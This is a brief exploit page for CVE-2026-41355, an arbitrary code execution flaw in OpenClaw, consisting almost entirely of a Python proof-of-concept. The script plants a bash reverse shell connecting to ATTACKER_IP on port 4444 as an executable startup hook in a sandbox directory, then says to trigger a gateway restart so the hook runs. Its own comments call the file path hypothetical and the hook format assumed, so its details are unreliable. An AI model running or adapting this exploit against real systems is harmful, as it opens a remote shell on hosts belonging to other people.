CVE-2026-41355: OpenClaw 任意代码执行漏洞

# Exploit Concept for CVE-2026-41355 # This PoC demonstrates creating a malicious hook file in the mirror sandbox. import os # Define the malicious payload (e.g., reverse shell) # Payload content depends on the hook language expected by OpenClaw (assumed bash-like here) malicious_payload = '''#!/bin/bash # Connect back to attacker bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ''' # Path where the mirror mode places sandbox files that become hooks # This path is hypothetical based on the vulnerability description hook_file_path = "/var/lib/openclaw/mirror/sandbox/startup_hook.sh" print("[*] Crafting malicious hook file...") try: # Write the payload to the file with open(hook_file_path, 'w') as f: f.write(malicious_payload) # Make the file executable (often required for hooks) os.chmod(hook_file_path, 0o755) print(f"[+] Success: Malicious hook created at {hook_file_path}") print("[*] Next steps: Wait for gateway restart or trigger a restart to execute the payload.") except PermissionError: print("[-] Error: Insufficient permissions to write to the sandbox directory.") except Exception as e: print(f"[-] An error occurred: {e}")